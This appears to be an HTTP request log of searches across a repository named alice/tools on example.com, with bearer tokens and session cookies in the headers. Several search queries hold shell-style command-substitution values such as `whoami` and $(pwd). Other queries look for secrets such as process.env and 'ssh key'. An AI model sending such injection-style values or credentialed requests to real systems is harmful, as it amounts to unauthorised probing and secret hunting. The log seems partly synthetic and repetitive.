{"method": "GET", "target": "/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
